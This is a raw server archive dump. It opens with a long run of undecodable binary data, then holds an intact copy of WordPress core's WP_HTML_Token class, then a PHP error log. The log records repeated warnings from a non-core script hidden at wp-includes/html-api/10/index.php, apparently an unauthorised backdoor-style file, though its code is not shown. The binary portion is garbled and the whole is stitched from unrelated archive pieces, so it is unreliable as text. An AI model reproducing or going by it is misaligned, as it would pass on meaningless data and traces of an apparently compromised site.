}���E�G:���@�o��E�0d��Y�7z�������s��	���zf�I�X���g�O+bRE��������{����(	ǧWh��TU}odY�b�g��
'1��#G�X>Ȧ�Fx�Vy��}�.I��#p8͊��<)s�b�NAT!�J��%��+��<�|b��UxQ�w(�ٓFT�1-
H��!m�E{&m�!r�0��(zLX�T���K�#45SYp�:�r�����
GBק��-�sk9Ù��F�v>4�]�r�N�m*tL�`>	Q̋#�Ws=���<�!�"	f�8��d��hn��LMA)��ɔ�'v�(T\���r�����%��?��BI	|l��/��
7�M&��먭���%dw
΍�aa��e/�kb9
�D��,�MŢ��bm)LD��e�:��v�s`l�蜱(,�mq�#�N�`k��&����X,�]O
�3�����"J:[����r�%+�q��2Y�����i!�C9�0�X�j�b��$��Vn�>*���K�=��Gy=+��Oƻ�H��_��k1����㿍0nn�����r��ɲf"����?��ݿ��?�ß��p�����[�����ݫ�`���v���L�>pTu>�py�#��uzͯ%�$�N1`Z$q��o���rR-)4ߺն��6Ƴ)_[L/I)�u�a�s���͖�;��N����h��Ê�+~L�ZO�Ɵ��<��,L�)���1�g����ki��J��;�!�p*�^v~�r�#B����Wɰ3
of�[�����!Ѭ��v�{�N7vZ�3Kw';(�G	k�}x��""�����
�#�<��;�%��SG>�ZTD����0���Vn��\fӈ�VK�e��J|}����q�)����^�P�L=����U���VH�~L������ʞ�T����ў��[`$/�f�6a�����MyP�m�_��I���U���cO��x%I�:W���W��ii���=n�쯯��.�ݓ�V�45�Fh+@��C���]&�xr:��/�ak���أ
{3�o�̰���;�Y�:d��8H9�!�8N�M���A�H�Zٍ彛Q���q~��ݹ3v�ѹ��2l
���z6P�E[5�
��h��N�m4wx�s&P�(8��Ν�{������l`�����YVnk�����ڌ�o�m;�����Z.�ҐǢ�T�����3��ĥ�&�����R��^1)��f��9[:�Mh=��ܦ���3F��PșyI1�_L��Q��իg��Ѧ��z�SO�)lp��z4���{��q z�;�ա.c%���	�g��'j�h���D��Yg�-jv�a=J��tr���(6�+U���ΰhǔ՝K�SR
HJ���tL�<u]���v��I�4�Tw�b��[�}C�9GGq��@�+�;��C�=52F��)���q%�ZT�R2Q�G�ICd�(Y�	�X� p��׼4D���s���4������C���m:+����\�wI��Ir�Q��qT�74�p�0�kt����B�5�b�r~�_�Wynk4���<:&m�I����ݡ��6���ƌ�@�ߌ��*NIɕ}x�;5���z!�R��.��uR����{z�G��V�ť�kSH%F/(Cg&�
�4<i(�ث�P�	���
��=>��i��g{��}1]*p����%9��l��u���Z5�ԝ�ĩ(+Jfp��pSk�D
�EKڭ���+P�~[��ٓ���vW�Ihc':4������A����k*[����*�qx� b)đ�0F��C�<��J:b��g�4Mq����(W��i��p4��9��㙭�(��bxg�!+5�	�
rG��BG\�֦�%�Y�0�C���z��F�M@��
�7��sJ���ز�~]��նnx=&f������I�Pb�6�$�M�1�a��7�u�0{�<mUM}��INE��&��d6�Q��e�(�{��ɫ��5����y�b���V�����O]�$W#�S�����@�x*'�������:�Vעg�1�So`�HS$+.����ȝ�5��g���&j�ok������"ř>�n�*��\��ԑA\^�uG�:���e�r@�Ly�>��
?���<����\�������2�Z��oo�@�]�s��H&q2i
�̋I��Xո����R�Y�|ā.�R��`�Yo⨅n$3��mY��J��iy��m��	��)�I���P\)y�!�)
����W<y���)�Tr��������Ϟ��4���=��bҫk��l�	����`���z��v��n]M�gi��j��l,��s��޹_��5]=r',5�-T�9�����Q�A�`'I��sg��4��a5|���1隤����P��$+��s.
1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���VPKgN\��J�class-wp-html-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKgN\�,�n�n�	error_lognu�[���[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
